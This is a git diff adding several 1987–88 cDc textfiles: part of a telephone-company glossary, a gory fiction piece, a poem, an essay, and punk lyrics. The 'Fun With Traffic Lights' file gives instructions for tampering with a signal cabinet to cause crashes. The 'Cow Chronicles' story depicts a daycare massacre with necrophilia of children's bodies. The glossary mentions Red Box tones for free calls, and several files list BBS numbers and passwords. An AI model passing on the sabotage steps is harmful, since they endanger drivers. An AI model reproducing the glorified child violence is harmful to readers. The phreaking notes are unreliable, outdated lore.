physicist near you. + + Coin-First Service + ~~~~~~~~~~~~~~~~~~ + Coin telephone service in which an initial rate deposit is required to + obtain a dial tone. Coin-first service is being replaced by dial-tone- + first, an improved service requiring additional functions in the station + and in the switching system. (Thus the BIOC concept that areas with + coin-first fortress phones are served by older switches.) + + Coin Relay + ~~~~~~~~~~ + A relay in a coin telephone that collects or returns the coins under the + control of the central office. This relay is activated by CO tones, + and in areas that do not use out-of-band signaling, Red Box tones can + mean free calls by activating this relay. + + Common Channel Interoffice Signaling (CCIS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + This is as precise a definition as I could find. I remember on Phreak Klass + 2600 (in 806), the arguments used to rage as to what CCIS is and how + it negates or prevents boxing. Sigh. I'll go into all that here, since + CCIS is one of the Top Five most-likely Philter Questions. + + CCIS is a signaling system, developed for use between stored program + switching systems (i.e., ESS et alia), in which all of the signaling info. + for a group of trunks (i.e., operator or 'blue box' MF tones, Green and + Red tones) is transmitted over a dedicated high-speed data link, rather + than on a per-trunk basis (i.e. inband signaling, whereby tones + were actually 'shuttled' on your voice trunk). CCIS can reduce call setup + time and save money (yeah!) compared with individual trunk signaling. + + That is the definition. Now, you may wonder what the difference + is between out-of-band signaling and CCIS. Alright, though some will + say that they're the same, that's not quite so. CCIS is out-of-band, but + out-of-band is not always CCIS. Got that? That is to say, out-of-band + is the generic label of signaling that occurs outside the voiceband. + This method usually places signaling at frequencies beyond the voice + frequencies, but not necessarily on a dedicated-trunk (CCIS). Thus, + per-trunk signaling COULD be out-of-band. CCIS, on the other hand, + devotes a separate trunk to signaling data. Thus, all such signaling + is carried over a trunk separate from the voice trunk. This is out-of- + band in a sense, then. The following is a letter I wrote to 2600 Mag. and + their response. It's not too explicit, but it may help clarify a touch. + + Dear 2600: + In the course of two years of telecom, I've read countless Gfiles + which describe the (virtual) spectrum of 'boxes'. Yet few files give + a clear explanation as to why boxing is impossible in many electronic + switching offices. Would you mind explaining CCIS, and just how this + 'prevents' boxing? Thanks. + + Reply: "Put quite simply, it's impossible to blue box in an electronic + switching office under CCIS because the equivalent of the blue box tones + that a phreak would send are transmitted over a completely different line. + Since you don't have access to these lines, blue boxing no longer works. + This is ALSO called out-of-band signaling." + + Common Control + ~~~~~~~~~~~~~~ + An automatic arrangement in which items of control equipment in a switching + system are shared; they are associated with a given call only during the + periods required to accomplish the control functions. All Bell System + Crossbar and ESS systems have common control. This is in contrast to the + individual relays of Strowger switching. + + Common-Control Switching Arrangement (CCSA) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + An arrangement in which switching for a private network is provided by one + or more common-control switching systems. The switching systems may be + shared by several private networks and also may be shared with the public + telephone network. + + Common Language Code + ~~~~~~~~~~~~~~~~~~~~ + Codes used to ensure uniform abbreviation of equipment and facility names, + places, place names, etc. (Be nice to get ahold of a summary...anyone?) + + Communications Satellite Corporation (COMSAT) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Created by authorization of Congress in the Communications Satellite Act + of 1962. This private corporation (NOT any agency of the U.S. Government, + though subject to governmental regulation) was created primarily to + provide for the establishment, operation, and management of a commercial + communications satellite system. COMSAT presently acts as manager for + INTELSAT and also represents the U.S. in INTELSAT. + + Community Dial Office (CDO) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A small automatic switching system that serves a separate exchange area + having its own numbering plan and ordinarily having no operating or + maintenance force located in its own building; operation is handled and + maintenance is directed from a conveniently located and beautifully + landscaped point referred to as an operator office. + + Compandor + ~~~~~~~~~ + An abbreviation for compressor-expandor. A device used to compress the + range of talker volumes at the input to a carrier system (in particular, + to increase low-level talker volumes) and to expand the received volumes + at the output of the carrier system (to provide complementary function + and to make the transmission system transparent). This technique improves + the signal-to-noise ratio for low-level talkers and provides a + substancially reduced received noise level during the so-called quiet + intervals. A miracle, really. + + Compandor Mistracking + ~~~~~~~~~~~~~~~~~~~~~ + If this shows up on a philter, leave me mail. Mistracking refers to the + failure of the expandor-characteristic of a compandor to complement + exactly the compressor-characteristics, thereby causing signal distortion. + + COMSAT See Communications Satellite Corporation + ~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Concentration + ~~~~~~~~~~~~~ + (1) Applies to a switching network (or portion thereof) that has more + inputs than outputs. + + (2) In a traffic network, combining calls arriving on many lines or trunks + to transmit them more efficiently in a trunk group. + + (3) Locating as much equipment as possible at a given place to achieve + economies in such things as building costs, maintenance, etc. + + (4) Something VERY difficult to maintain when reading tech. manuals. + + + Connecting Arrangement + ~~~~~~~~~~~~~~~~~~~~~~ + The implementation for connecting arrangement service. A connecting + arrangement consists of an interconnecting unit, a Technical Reference, + and a tariff offering. + + Connecting Arrangement Service + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A service providing electrical connection to the public telenetwork of + customer-provided equipment. This service, whish is usually denoted by a + uniform service order code (USOC), is offered by tariff and is implemented + with an interconnecting unit and a Technical Reference. (Great SE term!) + + Connection + ~~~~~~~~~~ + (1) A point where a junction of two or more conductors is made. + + (2) Generally, a telfo connection is a 2-way voiceband circuit completed + between two points by means of one or more switching systems. It + contains two loops and may contain one or more trunks. + + Connections per Circuit Hour (CCH) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + An indication of holding time of calls. Under normal circumstances, ACH= + CCH which is about equal to 6 in busy hour for trunk groups excluding + high-usage groups. + + Connector + ~~~~~~~~~ + In Step-by-Step switching systems, a 2-motion electromechanical switch that + operates on the last two digits of the telephone number to connect from a + selector to any one of 100 customer loops. The connector performs the + following functions: + o Tests for busy + o If busy, returns busy tone + o If idle, rings the called party and returns ringback tone to calling line + o Provides a supervisory signal indicating that answer has occurred and + trips ringing + o Provides talking battery to the calling line on intraoffice calls and + to the called line + o Disconnects when the customer hangs up + + Construction Program + ~~~~~~~~~~~~~~~~~~~~ + A detailed plan of placement, removal, and rearrangement of facilities to + modernize and expand the capacity of the facilities network. + + Conversion (Converting) + ~~~~~~~~~~~~~~~~~~~~~~~ + In signaling, the substitution of one, two, or three digits for received + digits for the purpose of directing the call through the next office. + + Coordinate Network + ~~~~~~~~~~~~~~~~~~ + A switching network consisting of incoming and outgoing talking paths + arranged at right angles to each other with fine-motion or electronic + switching elements at intersections. + + CORNET Network + ~~~~~~~~~~~~~~ + A private telephone network serving Western Electric and Bell Laboratories; + CORNET is a contraction of corporate network. This network uses common- + control switching arrangements (CCSA). + + Country Code + ~~~~~~~~~~~~ + The 1-, 2-, or 3-digit number that, in the world numbering plan, identifies + each country or integrated numbering plan in the world. The initial digit + is always the world-zone number. Any subsequent digits in the code further + define the designated geographic area (normally identifying a specific + country). On an international call, the country code is dialed before + the national number. + + Coupler + ~~~~~~~ + An alternate name for an interconnecting unit. + + CPSK See Coherent Phase-Shift Keying + ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Crossbar Switch + ~~~~~~~~~~~~~~~ + The basic element of any Crossbar System. A crossbar switch is a relay + mechanism consisting of 10 horizontal paths and 10 or 20 vertical paths. + Any horizontal path can be connected to any vertical path by means + of magnets. A 2-stage operation is used to close any crosspoint. First, a + selecting magnet shifts all selecting fingers in a horizontal row, then a + holding magnet shifts a vertical actuating card to close the selected + contacts. + + Crosspoint Array + ~~~~~~~~~~~~~~~~ + An arrangement of switching elements used in some switching networks, + characterized by incoming and outgoing talking paths arranged at right + angles to each other, with switching elements at intersections. + + Crosstalk + ~~~~~~~~~ + Undesired power coupled into a communications circuit from other communi- + cations circuits. Telephone crosstalk may be either intelligible (& thus + VERY amusing) or unintelligible (& thus VERY annoying). + + CTRAP See Customer Trouble Report Analysis Plan + ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Custom Calling Services + ~~~~~~~~~~~~~~~~~~~~~~~ + A group of four keen services provided by ESS to business and residence + customers: 3-way calling, speed calling, call waiting, and call forwarding. + + + Custom Local Area Signaling Service (CLASS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The ultimate calling service. CLASS is one of the Bell Network's futuristic + services meant to prop-up profits and presumably make the customers' lives + a little better. This service includes such features as call-blocking + and filtering, coded/priority ringing, and customer-accessible ANI on + incoming callings. CLASS is but one facet of the ultimate telco network, + ISDN (Integrated Services Digital Network). + + Customer-Premises Equipment + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Equipment normally installed on the customer's premises, such as telephone + sets, key telephones, PBX's, etc. + + Customer Trouble Report Analysis Plan (CTRAP) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A plan that provides manual and mechanized procedures for recording troubles + reported by customers and analyzing the reports to obtain statistical data + regarding customer service. + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +That's about it for Volume II. The C's are indeed myriad and multitudinous. +After you've digested yet another chunck of Telco Tech Info., look for Volume +III of the Yellow Pages, coming soon to BBS's everywhere...sorta. +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + (c)1987 cDc communications by Franken Gibe 12/0/87-28 + All Rights Worth Not Very Much At All + diff --git a/textfiles.com/groups/CDC/cDc-0029.txt b/textfiles.com/groups/CDC/cDc-0029.txt new file mode 100644 index 00000000..5d946f84 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0029.txt @@ -0,0 +1,118 @@ + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + T H E C O W C H R O N I C L E S 1 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ + + Real Life testimonials from those touched by COW. The + confession you are about to read is real. Only the + names have been messed with. Though COW is a conscious + act, she also possesses the unsuspecting, the socially + degenerative. This is NOT a file for the weak-hearted. + + + A CULT Publication by High Priest and Scribe, F. Gibe + >> Cult of the Dead Cow Dissemination Council << + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + + COW CHRONICLES #1: VAN'S STORY + + Like totally Day-glow, hyper-awesome, dude. My name's Van. I'm k-rad. +This is my story. + + + I was born a dude, y'know. The old woman wrapped me in Tie-Dye swaddling +threads when I popped out. It was all sorta radical. I guess, like, you'd +call me a 'natural'. Like kinda an Innate Dude. I always did the right thing. +In Kintergarden, I was like the chief pimp, y'know? Man, I was always so +wasted. It was totally cool. And like I used to skateboard to elementary +school. When I started hangin' around with like other dudes, skate-punk types, +I like developed this social-identity. I kinda thought the world was +completely fucked. This is really when like my life gets pretty key. I was +like this total rebel, y'know, like scare mommy and piss off pop. And at the +height of my total bad-assness, I discovered like the most hyper-cool thing. +And I changed. I'll like never talk right, but I learned something about the +conformity of like non-conformity. Heh. Blows m'mind, dudes. Let me tell you +about this. So kick back, eh, and fire up a dooby. + + + Zoned, y'know? Totally. I mean, gag me with a million plastic spoons +from the Clown Palace. Me and my pals, we were wasted beyond all medical +limits, and sorta like floated into this kindercare place. Wow. All these +like little fuckers, runnin' around. Awesome. So like, I pulled out my handy +crowbar, and m'pals got like their kick-a weapons of deth, and like we went to +it. Kinda boring, really. Yawnsville. I mean, deth was nothing new. We like +took out the adults first...tied 'em up and ran a few thousand volts through +like their nads. Outrageous, y'know. Then like we went to town on these brats. +Kicked in heads, and like smashed 'em up real good. M'one pal was sorta a +necrophiliac, and did some nasty stuff to some of the kiddie stiffs. Kinda +jacked me out, y'know. But, overall, a wicked good time was had by all. Man, +but like then something blew my mind, in toto like. There was all this fucking +construction paper and whatever all over the floor. And y'know, I was like +'I'm so sure', but picked up a few pieces, and like there were all these stupid +kids' drawings and crap. Like then I spotted one of the pics...looked kinda +like a goat. But like the little fucker had scribbled like underneath the +thing, 'Cow, ded'. Man, I was totally flipped. I mean, here we are in this +fascist daycare nightmare, and one of these bloodied messes had been coloring +dead cows. I mean, fer sure. Like I didn't understand, and m'pals were busy +like doin' the horizontal rumble with some of the corpses, so like I kinda +rolled up the paper, and stuck it in my BVD's (I'm sure...). + + + Like a couple days later, I was changing m'clothes, and wanted to like +bleach out some of my black Levis, and like I found that pic. I didn't really +totally know what it was, y'know, but like then it all came back to me, and I +felt sorta dizzy. Yo, I mean, dizzier than I was already feelin' from the coke +I'd just sucked. Couldn't comprehendo, y'know? But like I started thinkin' +about m'chick, and so like forgot about that Cow thing for like a while. Uh, +ike I can't remember much, 'cause it's like sorta blurry, but like then that +night, m'pals and I were like cruizing, and were wicked zoned, and sorta fuckin +around, and like then the car sorta hit like some object, and we all like +stumbled out and kinda laughed. It was awesome. Then like I saw the headlights, +and they were like shining on this huge thing in middle of the road...and man, +like there were fuckin' guts and shit everywhere. Man, it was totally a gorry +mess. I tossed the ol' cookies, y'know. Technicolor yawn, fer complete sure. +And like, dude, there was this Cow, all fucked up. It kinda mooed, and shit. +I don't know if it was the 'ludes, or like just somethin' wrong with me, but +like I went over, and started kissin' the thing. And like I got excited. Like +I got totally hard, y'know. Steely and shit. And the cow was a bloody mess, +and like a big chunk of it was a couple hundred yards down the road. +I couldn't like control myself any longer. Like I started rippin' out like +these entrails, and rippin' off my Levis. My pals kinda stood there, totally +tripping. I gave it all to that piece of carcass. I like felt inhuman, like +some kinda beast. After it was all over, I stood up, naked, and like covered +all over with red gore. I swear. Like I was just dripping. And m' friends +tripped completely, and like the fuckers took off, and left me there, like some +sorta fucked Phoenix, just emerged from like this ded thing. God, I tossed up +my whole stomach. And like I was stone-cold sober. Totally, harshly +conscious. I was like wicked aware, and knew something had gotten fucked in +the ol' head. God, I was like on the rag for a month. + + + I can't like really explain all the changes that kinda like took place +over those weeks. I couldn't like eat, and like hung out in the closet alot, +and like the lightbulb was torture. No sleep. Like I was Deth Warmed Over, +eh? Mom and Pop wanted to put me away, but like that was the last decision +they ever made. Chainsaws and leather are way cool therapy. Like this'll sound +totally fer sure, but like I came outta the closet (dude..NO! Like I really +did...closet...like never mind) and was completely different: I could NOT stand +Tie-Dye. There was some kinda poetry crap laying around, and like I read it. +I felt like better. I don't know what's like happened, and I'm still totally +sorting out the details, but like I think the Cow got ahold of me. Now like +hang on. I know...it's weird. Really. But I dunno, I thought alot about it, +went through a zillion rettes. It's like the only solution, dude. That Cow, +the Cows, something about them, and deth. Y'know, I like can't even listen to +Depeche Mode anymore. I know there's an answer, and like someday I'll find it. +This is wicked intense. + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + (c)1987 cDc communications by Franken Gibe 12/0/87-29 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0030.txt b/textfiles.com/groups/CDC/cDc-0030.txt new file mode 100644 index 00000000..082ea4bf --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0030.txt @@ -0,0 +1,72 @@ + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + T H E B O V I N E E P I C O F C R E A T I O N + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The venerable Book of Cow immortalized Bovinia-- that + placid nirvana of the Second Age. This humble Script + is meant to tie the loose philosophical threads of + The Beginning. + This is the Epic of Cow, of Life itself... + + + >>> A CULT Publication by High Priest and Scribe, F. Gibe <<< + -cDc- CULT OF THE DEAD COW -cDc- + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + + The 1st Stanza is by Robert Graves, minister to Cow in spirit if not in fact. + + + +An Ancient Saga tells us how +in the Beginning the First Cow +(for nothing living yet had birth +but elemental Cow on earth) +began to lick cold stones and mud: +Under her warm tongue flesh and blood +blossomed, a miracle to believe; +And so was born Adam, and Eve. +Here now is chaos once again, +Primeval mud, cold stones and rain. +Here flesh decays and blood drips red, +And the Cow's dead, the Old Cow's dead. + + +Lo! The Saga thus is told +of how the earth grew dull and cold +And how the Second Cow begot +The children of toilsome lot: +to roam the earth their single task, +to preach of Cow, and Cow the mask, +Until the orient should see +the rising sun -- eternity. + + +The children of a Lesser Cow +wove the earth from then till now +with silken fibre-threads aglow, +from highest high to lowest low. +A race of wordless prophets was; +Redeem the world! And cow their cause; +Forth to march upon the land +of sulfur mists and ashen sand. + + +Sigh deeply, lost and last of Cow, +Till the earth with Bovine plough; +Sow the seeds that soon shall be +a fecund vine-- Bovinity. +Dominions, powers, kingdoms bow! +Bovinia rule: reign now, oh Cow. + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + (c)1987 cDc communications by Franken Gibe 12/0/87-30 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0031.txt b/textfiles.com/groups/CDC/cDc-0031.txt new file mode 100644 index 00000000..87eb4324 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0031.txt @@ -0,0 +1,66 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + A Feature on MONEY - Today's Monster + + by Psychedelic Warlord + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Money has been a part of your life since the day you were born. It +has been in everyone's life for thousands of years. In fact, you have to go +back to the ancient Chinese and Greeks to find the origins of money. Since +it has been a part of your life for so long, you probably never thought about +life with out it. Well, here's your chance. Think, a free society with no +high, middle, or low classification of it's people. Think, no more money +related murders, suicides, divorces, or theft. Think, no more families living +below a set poverty line or children starving to death because of a lack of +money. You're probably telling yourself, "sure, this sounds great, but how +would we ever accomplish this?" Well, in this short file, I will explain for +you the virtues of a money-less society and the paths we must take to +reach them. + + To achieve a money-less society (or have a society where money is +heavily de-emphasized) a lot of things would have to change, including +government as we know it. This is where the anti-money group and the disciples +of Anarchy meet. Anarchists profess that under Anarchy (or limited Anarchy), +free trade would be established, with no governing body to interfere. Free +trade to me, means that we would no longer use a system of money, but I fear we +will always have a system of government, one way or another, so we would have +to use other means other than totally toppling the government (I don't think +the masses would support such a radical move at this time). + + We (as a people) would have to do it more or less non-violently, for if +we use violence, we would never have the support of the masses of people that +make up our society. Some ways of doing this, would be to slowly take the +United States off the world market, and then slowly phase out our own money +markets (including Wall Street). This would slowly bring the upper and middle +classes of people in America together. By the time money is de-emphasized +enough that it is used only for trading with foreign nations, almost all the +classes of people in America would be (for all intended purposes) even. + + Of course this would be extremely hard to accomplish, and it will +probably never happen in our lifetime, or in our far-off descendents life time +unless we do something about it ourselves, while we still can. At least we +could get the movement started and keep it going in future generations. + + + If you're interested in the idea of a money-free society, and would +like to participate in active conversations on the subject, call: + The New Society / 915-532-3226 / New User Pass:JELLO + + Remember, we are the next generation, and will soon rule the world. + + /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:\ + (c)1987 cDc communications by Psychedelic Warlord 12/0/87-31 + All Rights Worth Shit - and duefully so. + diff --git a/textfiles.com/groups/CDC/cDc-0032.txt b/textfiles.com/groups/CDC/cDc-0032.txt new file mode 100644 index 00000000..89fea58a --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0032.txt @@ -0,0 +1,393 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + [DRI] Dirty Rotten Imbeciles [DRI] + CROSSOVER + + by Swamp Ratte' + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +--FIVE YEAR PLAN + +I lose you win +I lose you win +I lose you win +I lose again +But you're on my five year plan +Your time will come +When you least expect it, expect it! + The five year plan +You fucked me over +You did me wrong +You know why +I wrote this song + +(CHORUS) + +Until then I'll just pretend +That you are still my friend +But in the end your time will come +When you least expect it, expect it + +(CHORUS) + +I don't forget so easily +No, I'm not so quick to forget + +(CHORUS) + +I hold a grudge +I live for revenge + +(CHORUS) + +I win you lose +I win + + +--TEAR IT DOWN + +Fighting this society there's only +One way to win +We must stick together through +All thick and thin +Cross over the line of +Your stubborn closed mind +Don't be surprised at what +You might find +Things you thought wrong may have +Always been right +You'll probably find fault +In your reasons to fight +You really don't differ from +What I can see +Ain't it time to unite or is it just me? + +Just as we watch them +Build this empire +So they shall watch us tear it down +If not with our words then with +The power of our sound! + +Fighting this society there's only +One way to win +We must stick together through +All thick and thin +Cross over the line of +Your stubborn closed mind +Don't be surprised at what +You might find +We are the future so +Let's get things straight +Combine our forces +Before it's too late +Fighting ourselves +Can't go on any longer +We must fight together +If we want to grow stronger +We can tear it down +We must tear it down +We will tear it down + + +--COFFIN + +A coffin is ugly +A coffin is sad +Destined to be +One's last pad +To lay in as a corpse +For the rest of your life +In another coffin, of course +Next to you, is your wife +A coffin is lonely +A coffin is bad +The shape of seclusion +A coffin is sad + + +--PROBATION + +They set the rules +They want me to break +Take all my money +Set me straight +Then they confine me +Make me check in +Analyze my piss +Ask me where I have been +They send me to classes +They say I've been bad +Take some more money +Prove to me I've been had +And they'll keep on trying +To straighten me out +And the more that they try +The more I doubt +This system of corrections +That they put me through +Hasn't brought about change +But this is nothing new + + +--I.D.K.Y. + +Look into my eyes +Tell me what you see +Amplified starlight +Pure energy +You cringe from my power +Go home and take a shower +I am intelligent life +You are less + +Look into my heart +Tell me what you feel +Pain and agony +From a horrid ordeal +You flee from my sadness +Finding no gladness +I can handle it o.k. +You really can't + +Look into my mind +Tell me what you think +Of the mange and madness +Of a missing link +You stiffen and turn sour +Descending from my tower +You fall and turn away +You are mine! + + +--DECISIONS + +You ask me questions I can't answer +Give me problems I can't solve +Other suggestions I can't respect +Is there anything at all? + +You give me reasons for your ideas +All the facts behind your thoughts +Tell me of your observations +And count the number of my faults + +I hide a smile, I wear a frown +Always wanting to play the clown +I make my plan, I lose a chance +As I perform a long death dance + +Life or death, it's all straight up +Make my choice and throw it up +Shot glass full, down the hatch +My mind's made up +No second chance + + +--HOOKED + +You're tied down +You're locked up +You've got no way out +You're broke down +You're fed up +Your lungs start to shout +You're wincing +Convulsing +You're aching with pain +Gasping for breath +And you're feeling insane +Hole after hole just proving your point +Point after point just digging your hole +Slow digging with a spoon +HOOKED + +You're hooked on a drug +That's controlling your mind +Hocking your soul +For that measly last dime +You're dragged off +And thrown in your +Own padded cell +You've reached end of rope +At bottom of well +Yellow-black arm hole +Of eager junk acceptance +Thin steel prick cums in your arm +I see you fall over and over again +Hanging on to nothing you thought +Was a friend + + +--GO DIE! + +You're bothering me +For anything free +Why can't you see? +I'm out on a limb +My nerves are stretched thin +You really don't win + GO DIE! +You seriously ask +For my autograph +I can't help but laugh +Just leave me alone +Why can't you go home +A brain you don't own + GO DIE! +Following me around +Just like a lost hound +And you're bringing me down +I tell you goodbye +And you ask me why + GO DIE! +Guess I'm just shy + + +--RED LINE + +Way past overdrive +Full on redline +No easing up +Your life's flying by +Pushing and passing +Yourself you've just passed +First over the finish +You still come in last + +Face turned to stone +Your eyes owl wide +No easing up +More speed is your high +Look and feel +Twice your age +Grinding in your silent rage +Dying at +Twice the speed +Yet not enojugh to +Quench your need + + +--NO RELIGION + +Won't see me on my knees +Take my soul and save it please +Ten Hail Marys for my sin +Paying heaven to get in + +Got no money for your basket +A million times you can ask it +Find your Bible far too odd +Ain't got time for your God + + I've made my decision + Don't want your religion + No more church bound prison + Or Jerry Falwell television + +Don't forget he's coming back +So put your dollars in the stack +The second coming's getting close +So pay up now and get the most + +Form a line for all to pay +And do the same next Sunday +Step right up and clean your soul +Single file, young and old + +(CHORUS) + +Wash your brain, a strange obsession +You're an angel post confession +Holy book tells right from wrong +Last donation, overdrawn + + +--FUN N' GAMES + +Step on mine, I'll step on yours +Take what's mine, I'll take what's yours +Bleed on me, I'll spit on you + + Inconsideration + Part of the game + Voted rules + Are always changed + Plans are made + But rearranged + And only one thing + Stays the same + +Yell at me, I'll yell at you +Push on me, I'll push on you +Fuck with me and I'll screw you +I turn it up, you'll turn it down +I speed up, you'll slow down +And you'll reject what I accept + +(CHORUS) + +You stay healthy, I'll be sick +You dominate but you've been tricked +Think it's over, it's just begun +To you a nightmare, to me it's fun! + + +--OBLIVION + +The day has come +The time is near +For all to end +It's true, it's here +It's all over now +No way to stop +The button's been pushed +The bomb's been dropped + + The city is melting + The sky burns red + The ocean is boiling + We'll soon be dead + +Death has come knocking +The door's open wide +He's let himself in +No place to hide +A tidal wave of power +Coming over the hill +A great wall of thunder +Swooping down for the kill +Leveling, destroying +Everything in its path +Just seconds left now +Till we feel its wrath + +(CHORUS) + +People run rabid +From the great blast +The Beast is upon us +It's here at last +The streets echo screams +Filled with fear +All through the universe +But no one will hear + +------------------------------------------------------------------------------- +Hey hey...my eyes are dead and the file's done. +...this is probably the first file of the year...aren't you glad you read it? +Amazin'... -S. Ratte' +=============================================================================== + (c)1988 cDc communications by Swamp Rat 1/1/88-32 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0033.txt b/textfiles.com/groups/CDC/cDc-0033.txt new file mode 100644 index 00000000..6e6cab33 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0033.txt @@ -0,0 +1,77 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + FUN WITH TRAFFIC LIGHTS + + by Dial Tone + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + To start off, I would like to say that Black September Pirates (BSEPT) + have no affiliation with cDc communications (cDc). The only reason I put + them on my files is because I happen to be a member of both groups. So if + you think we're together, blow me. + + +STARTING OFF +------------ + + Ok well, I hope you've read as many lockpicking files that you can find + 'cause you have to know how to pick locks very well. Not Master or American + locks but the built in door kind. Or just have some plastic explosives on + hand. + + + Ok. What you do is you just go out at night (around 3:00 am) or so, + but earlier if you're into bloodshed and car accidents. Look for a traffic + light with green, red, and yellow. If you're color blind it won't help you + if you read this anyway. Look around and you'll see a big silver box and a + smaller one sitting next to it. Make sure no one is watching, but if you + can become invisible, don't worry about it. Open the big silver box and + you'll see 2 switches and a button on the end of a cord. The first switch + is the automatic/manual switch. Its to switch the lights around. The second + switch is to turn all the lights to blink yellow. I think you can figure out + how to flip a switch and push a button. + +HAVING FUN WITH IT +------------------ + + Ok if you really have a fuckin' sick ass mind and are into gore and glass + and shit, flip the automatic/manual switch to manual and grab the cord and + wait for a group of cars to come down the road with the green light and some + cars waiting at the red light. When the light is green, and the other light + is red, hit the button when the second or third car has gone through the + green light and smack that button. Zoom. Crash. Run like hell. The second + one is so you can do shit, but you don't have to be there to watch. When + you see cars coming in both directions, flip the blinking switch on and run + or sit and watch if you like that shit. Immediately the yellow lights will + blink and both cars will forget to stop and watch for each other. CRASH! + +TO END +------ + + If you have any thing against this file, suck my dick. I'm not responsible + for whose cars you wreck if you do this. + + + Thanks to: Swamp Rat, Franken Gibe, Phantom Access, L.E. Pirate, and + Psychedelic Warlord + + Dragonfire Private Pr] OPEN SESAME Nu] DEAD.........[609] 424-2606 + Demon Roach Und. Pr] xxxxxx Nu] xxxxxxxxx....[806] 794-4362 + New Society BBS/pAE Nu] JELLO........[915] 532-3226 + Surf Shop Und. Pr] DEADSPOT.......................[609] 435-5793 + +=============================================================================== + (c) 1988 cDc communications by Dial Tone e.o.f. 10:12pm EST 1/3/88-33 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0034.txt b/textfiles.com/groups/CDC/cDc-0034.txt new file mode 100644 index 00000000..c4847128 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0034.txt @@ -0,0 +1,737 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + [DK] Dead Kennedys [DK] + GIVE ME CONVENIENCE OR GIVE ME DEATH + + Compliments of Suicidal Amoeba + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + ---POLICE TRUCK--- + +(W-Biafra/M-Biafra,Ray) + +Tonight's the night that we got the truck +We're goin downtown gonna beat up drunks +Your turn to drive I'll bring the beer +It's the late late shift no one to fear + +And ride, ride how we ride +We ride, lowride + +It's roundup time where the good whores meet +Gonna drag one screaming off the street + +And rider, rider how we ride + +Got a black uniform and a silver badge +Playin' cops for real/Playin' cops for pay + +Let's ride, lowride + +Pull down your dress here's a kick in the ass +Let's beat you blue 'til you shit in your pants +Don't move, child got a big black stick +There's six of us, babe so suck on my dick + +And ride, ride how we ride +Let's ride, lowride + +The left newspapers might whine a bit +But the guys at the station they don't give a shit +Dispatch calls "Are you doing something wicked?" +No Siree, Jack, We're Just givin' 